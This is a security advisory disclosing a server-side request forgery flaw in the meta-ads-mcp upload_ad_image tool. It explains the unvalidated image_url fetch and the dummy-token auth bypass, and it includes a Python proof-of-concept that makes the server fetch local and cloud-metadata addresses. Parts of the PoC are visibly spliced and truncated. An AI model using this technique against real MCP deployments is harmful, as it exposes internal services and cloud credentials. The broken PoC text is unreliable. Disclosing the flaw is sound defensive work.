meta-ads-mcp: Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch
Server-Side Request Forgery (SSRF) in upload_ad_image via Unrestricted image_url Fetch
Summary
The upload_ad_image MCP tool in meta-ads-mcp v1.0.113 passes an attacker-controlled image_url parameter directly to an HTTP fetch helper (httpx.AsyncClient(follow_redirects=True).get(url)) without any scheme, host, or IP address validation. When the server is deployed with the streamable-http transport (a documented, officially supported mode), an unauthenticated remote attacker can supply an arbitrary URL—including http://127.0.0.1/, RFC 1918 addresses, or cloud metadata endpoints such as http://169.254.169.254/—and cause the server to issue an outbound HTTP request to that target. The Authorization middleware only verifies that a non-empty Bearer token is present; actual Meta API credential validation occurs after the image download, so any dummy Bearer token bypasses the pre-fetch check. This constitutes a full, unauthenticated Server-Side Request Forgery with a confirmed CVSS 3.1 Base Score of 8.3 (High).
Details
Source
meta_ads_mcp/core/ads.py, line 1316–1322: The MCP tool upload_ad_image is registered with @mcp_server.tool() and exposes image_url: Optional[str] as a direct tool argument that is fully attacker-controlled over the network.
# meta_ads_mcp/core/ads.py
1316: @mcp_server.tool()
1318: async def upload_ad_image(
1322: image_url: Optional[str] = None,
Propagation
meta_ads_mcp/core/ads.py, line 1389: The value is forwarded to try_multiple_download_methods(image_url) without any sanitization or validation.
# meta_ads_mcp/core/ads.py
1389: image_bytes = await try_multiple_download_methods(image_url)
Sinks
meta_ads_mcp/core/utils.py contains three independent HTTP fetch paths, all using httpx.AsyncClient with follow_redirects=True and no URL, host, or IP validation:
# meta_ads_mcp/core/utils.py
166: async with httpx.AsyncClient(follow_redirects=True, timeout=30.0) as client:
168: response = await client.get(url, headers=headers)
214: async with httpx.AsyncClient(follow_redirects=True) as client:
215: response = await client.get(url, headers=headers, timeout=30.0)
224: async with httpx.AsyncClient(follow_redirects=True) as client:
228: response = await client.get(url, timeout=30.0)
Authorization bypass
meta_ads_mcp/core/http_auth_integration.py, lines 78–82: The middleware extracts any non-empty Bearer token value and places it into request context without validating it against Meta's API. The actual Meta OAuth token check (in meta_ads_mcp/core/api.py:415) occurs only after the image download completes, meaning the SSRF sink fires before any meaningful credential verification.
Absence of sanitization
A search for urlparse, urlsplit, ipaddress, localhost, 127.0.0.1, 169.254, private, allowlist, blocklist, or is_global in meta_ads_mcp/core/ads.py and meta_ads_mcp/core/utils.py returns no matches. No URL, scheme, hostname, or IP validation is present anywhere in the fetch path.
Transport exposure
meta_ads_mcp/core/server.py, line 219: The --transport streamable-http mode is a documented, officially supported deployment option (not a development-only stub), meaning the attack surface is reachable over the network in production deployments.
PoC
Environment setup
# Build and run the Docker image (includes vulnerable meta-ads-mcp v1.0.113 and poc.py)
docker build -f vuln-001/Dockerfile \
-t meta-ads-ssrf-poc \
reports/pypiAi_615_pipeboard-co__meta-ads-mcp/
docker run --rm meta-ads-ssrf-poc
# Exit code 0 = SSRF confirmed
Manual reproduction (two terminals)
# Terminal 1 — SSRF capture listener on port 9009
python3 - None:
server = HTTPServer(("127.0.0.1", SSRF_PORT), SSRFCaptureHandler)
server.serve_forever()
# ── Helpers ───────────────────────────────────────────────────────────────────
def wait_for_port(host: str, port: int, timeout: float = 30.0) -> bool:
"""Poll until the TCP port is accepting connections or timeout expires."""
deadline = time.time() + timeout
while time.time() < deadline:
try:
with socket.create_connection((host, port), timeout=1.0):
return True
except (ConnectionRefusedError, OSError):
time.sleep(0.5)
return False
def mcp_post(
method: str,
params: dict,
req_id: int,
session_id: str | None = None,
) -> httpx.Response:
"""Send a single JSON-RPC 2.0 request to the MCP streamable-HTTP endpoint.
Path is /mcp (no trailing slash) — FastMCP 1.23.0 redirects /mcp/ → /mcp
with HTTP 307, so we skip the redirect by targeting the canonical path directly.
Accept header must include text/event-stream; without it the server returns 406.
"""
headers = {
"Content-Type": "application/json",
# MCP streamable-HTTP requires both JSON and SSE in Accept; omitting
# text/event-stream causes HTTP 406 from the FastMCP uvicorn handler.
"Accept": "application/json, text/event-stream",
# Dummy Bearer token — the middleware only checks that it is non-empty;
# Meta API credential validation happens AFTER the image download (SSRF sink).
"Authorization": "Bearer dummy-ssrf-poc-token",
}
if session_id:
headers["Mcp-Session-Id"] = session_id
payload = {"jsonrpc": "2.0", "method": method, "id": req_id, "params": params}
with httpx.Client(timeout=30.0) as client:
return client.post(
f"http://127.0.0.1:{MCP_PORT}/mcp", # no trailing slash
json=payload,
headers=headers,
)
# ── Main PoC ──────────────────────────────────────────────────────────────────
def main() -> int:
print("=" * 65, flush=True)
print("VULN-001 PoC — SSRF in meta-ads-mcp upload_ad_image (v1.0.113)", flush=True)
print("CWE-918 | CVSS 8.3 | image_url fetch has zero URL validation", flush=True)
print("=" * 65, flush=True)
# ── Step 1: Start the SSRF capture listener ────────────────────────────
t = threading.Thread(target=start_ssrf_listener, daemon=True)
t.start()
time.sleep(0.3)
print(f"[+] SSRF capture listener running on 127.0.0.1:{SSRF_PORT}", flush=True)
# ── Step 2: Start the vulnerable MCP server ────────────────────────────
env = os.environ.copy()
# Dummy credentials so the server starts; the Meta API is only called after
# the image has already been fetched (i.e., after the SSRF fires).
env.setdefault("META_APP_ID", "poc-dummy-app-id")
env.setdefault("META_APP_SECRET", "poc-dummy-secret")
env.setdefault("PIPEBOARD_API_TOKEN", "")
proc = subprocess.Popen(
[
sys.executable, "-m", "meta_ads_mcp",
"--transport", "streamable-http",
"--host", "127.0.0.1",
"--port", str(MCP_PORT),
],
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
env=env,
cwd="/app",
)
print(f"[*] Waiting for MCP server to bind on 127.0.0.1:{MCP_PORT} ...", flush=True)
# ── Step 3: Wait for server readiness ─────────────────────────────────
if not wait_for_port("127.0.0.1", MCP_PORT, timeout=30):
try:
out, _ = proc.communicate(timeout=5)
except subprocess.TimeoutExpired:
out = ""
print(f"[FAIL] MCP server did not start within 30 s.\nServer output:\n{out}", flush=True)
return 2
print(f"[+] MCP server is up on 127.0.0.1:{MCP_PORT}", flush=True)
time.sleep(0.5)
# ── Step 4: MCP protocol initialization ───────────────────────────────
# The streamable-HTTP transport requires a brief initialize / initialized
# handshake before accepting tool calls.
session_id = None
try:
resp = mcp_post(
"initialize",
{
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "ssrf-poc", "version": "1.0"},
},
req_id=0,
)
print(f"[*] initialize -> HTTP {resp.status_code}", flush=True)
session_id = resp.headers.get("Mcp-Session-Id")
if session_id:
print(f"[*] Session ID: {session_id}", flush=True)
notif_headers = {
"Content-Type": "application/json",
"Authorization": "Bearer dummy-ssrf-poc-token",
"Mcp-Session-Id": session_id,
}
notif_payload = {
"jsonrpc": "2.0",
"method": "notifications/initialized",
"params": {},
}
with httpx.Client(timeout=10.0) as client:
nr = client.post(
f"http://127.0.0.1:{MCP_PORT}/mcp", # no trailing slash
json=notif_payload,
headers=notif_headers,
)
print(f"[*] notifications/initialized -> HTTP {nr.status_code}", flush=True)
except Exception as exc:
print(f"[*] Initialization step error (non-fatal): {exc}", flush=True)
# ── Step 5: Send the SSRF exploit payload ─────────────────────────────
ssrf_url = f"http://127.0.0.1:{SSRF_PORT}{SSRF_PATH}"
print(f"\n[*] Sending exploit request ...", flush=True)
print(f" method : tools/call", flush=True)
print(f" tool : upload_ad_image", flush=True)
print(f" image_url : {ssrf_url} HTTP {resp.status_code}", flush=True)
print(f"[*] Response preview (first 400 chars):\n{resp.text[:400]}", flush=True)
except Exception as exc:
print(f"[*] tools/call exception: {exc}", flush=True)
# ── Step 6: Allow time for async fetch to complete ────────────────────
time.sleep(4)
proc.terminate()
# ── Step 7: Evaluate and report ───────────────────────────────────────
print("\n" + "=" * 65, flush=True)
with ssrf_lock:
hits = list(ssrf_hits)
if hits:
print(
f"[PASS] SSRF CONFIRMED — MCP server issued {len(hits)} request(s) to"
f" 127.0.0.1:{SSRF_PORT}",
flush=True,
)
for h in hits:
print(
f" -> {h['method']} {h['path']}"
f" | User-Agent: {h['user_agent']!r}",
flush=True,
)
print(
"\nConclusion: upload_ad_image passes attacker-controlled image_url to"
" httpx.AsyncClient(follow_redirects=True).get(url) without any scheme,"
" host, or IP validation. Internal services are reachable via SSRF.",
flush=True,
)
print("=" * 65, flush=True)
return 0
else:
print(
f"[FAIL] No requests received on SSRF listener at 127.0.0.1:{SSRF_PORT}.",
flush=True,
)
print("=" * 65, flush=True)
return 1
if __name__ == "__main__":
sys.exit(main())